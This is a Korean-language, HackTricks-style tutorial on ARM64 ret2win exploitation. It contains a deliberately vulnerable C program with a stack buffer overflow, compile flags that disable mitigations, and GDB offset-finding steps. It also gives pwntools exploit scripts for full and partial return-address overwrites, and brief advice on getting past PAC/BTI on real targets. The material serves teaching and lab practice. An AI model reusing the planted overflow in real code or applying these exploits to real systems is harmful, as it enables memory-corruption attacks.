Ret2win - arm64

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

arm64 소개는 다음을 참조하세요:

Introduction to ARM64v8

코드

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

pie와 canary 없이 컴파일:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • 추가 플래그 -mbranch-protection=none는 AArch64 Branch Protection (PAC/BTI)을 비활성화합니다. 툴체인이 기본적으로 PAC 또는 BTI를 활성화한다면, 이 플래그는 실습 재현성을 유지합니다. 컴파일된 바이너리가 PAC/BTI를 사용하는지 확인하려면:
  • AArch64 GNU properties를 확인:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • 프롤로그/에필로그에서 paciasp/autiasp (PAC) 또는 bti c landing pads (BTI)를 검사:
  • objdump -d ret2win | head -n 40

AArch64 호출 규약 요약

  • 링크 레지스터는 x30(일명 lr)이며, 함수는 일반적으로 stp x29, x30, [sp, #-16]!x29/x30을 저장하고 ldp x29, x30, [sp], #16; ret로 복원합니다.
  • 즉 저장된 반환 주소는 프레임 베이스로부터 sp+8에 위치합니다. char buffer[64]가 아래에 배치된 경우, 저장된 x30까지의 일반적인 덮어쓰기 거리는 64 (buffer) + 8 (saved x29) = 72 바이트입니다 — 이는 아래에서 정확히 확인할 것입니다.
  • 스택 포인터는 함수 경계에서 16바이트 정렬을 유지해야 합니다. 더 복잡한 시나리오에서 나중에 ROP 체인을 구성할 경우, SP 정렬을 유지하지 않으면 함수 에필로그에서 크래시가 발생할 수 있습니다.

오프셋 찾기

패턴 옵션

이 예제는 GEF를 사용하여 생성되었습니다:

GEF로 gdb를 시작하고, 패턴을 생성하여 사용합니다:

bash
gdb -q ./ret2win
pattern create 200
run

arm64는 레지스터 x30에 있는 주소로 복귀하려고 시도합니다(해당 레지스터가 제어되었으므로). 이를 사용해 패턴 오프셋을 찾을 수 있습니다:

bash
pattern search $x30

오프셋은 72 (9x48)입니다.

스택 오프셋 옵션

먼저 pc 레지스터가 저장된 스택 주소를 얻습니다:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

이제 read() 이후에 breakpoint를 설정하고 read()가 실행될 때까지 continue한 다음 13371337과 같은 패턴을 설정하세요:

b *vulnerable_function+28
c

이 패턴이 메모리의 어디에 저장되어 있는지 찾으세요:

Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win 함수의 주소를 얻으세요:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

사실 이것은 스택에 저장된 PC에서의 off-by-2에 더 가깝습니다. return address 전체를 덮어쓰는 대신 마지막 2 bytes만 0x06c4로 덮어쓸 것입니다.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

다른 ARM64의 off-by-one 예제는 https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/에서 확인할 수 있으며, 이는 허구의 취약점에서 발생한 실제 off-by-one입니다.

PIE 사용 시

tip

바이너리를 -no-pie 인자를 사용하지 않고 컴파일하세요

Off-by-2

leak이 없으면 win 함수의 정확한 주소는 알 수 없지만, 바이너리에서 해당 함수의 오프셋은 알 수 있고 우리가 덮어쓰고 있는 반환 주소가 이미 가까운 주소를 가리키고 있다는 점을 이용하면, 이 경우 win 함수의 오프셋(0x7d4)을 leak해서 그 오프셋을 그대로 사용할 수 있습니다:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

최신 AArch64 하드닝(PAC/BTI) 및 ret2win에 대한 주의사항

  • 바이너리가 AArch64 Branch Protection으로 컴파일된 경우, 함수 prologues/epilogues에 paciasp/autiasp 또는 bti c가 출력될 수 있습니다. 이런 경우:
  • 유효한 BTI landing pad가 아닌 주소로 돌아가면 SIGILL이 발생할 수 있습니다. bti c가 포함된 정확한 함수 진입점을 목표로 하는 것이 좋습니다.
  • PAC가 returns에 대해 활성화된 경우, naive return‑address overwrites는 에필로그가 x30을 인증하기 때문에 실패할 수 있습니다. 학습용 시나리오에서는 위에서 보인 것처럼 -mbranch-protection=none으로 다시 빌드하세요. 실제 타깃을 공격할 때는 non‑return hijacks(예: function pointer overwrites)을 선호하거나 위조한 LR을 인증하는 autiasp/ret 쌍을 절대 실행하지 않는 ROP를 구성하세요.
  • 기능을 빠르게 확인하려면:
  • readelf --notes -W ./ret2win 그리고 AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC 노트를 확인하세요.
  • objdump -d ./ret2win | head -n 40 그리고 bti c, paciasp, autiasp를 찾아보세요.

non‑ARM64 호스트에서 실행하기 (qemu‑user 빠른 팁)

만약 x86_64에 있지만 AArch64를 연습하고 싶다면:

bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

관련 HackTricks 페이지

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

참고 문헌

  • AArch64에서 Linux용 PAC 및 BTI 활성화 (Arm Community, 2024년 11월). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Arm 64비트 아키텍처를 위한 프로시저 호출 표준 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기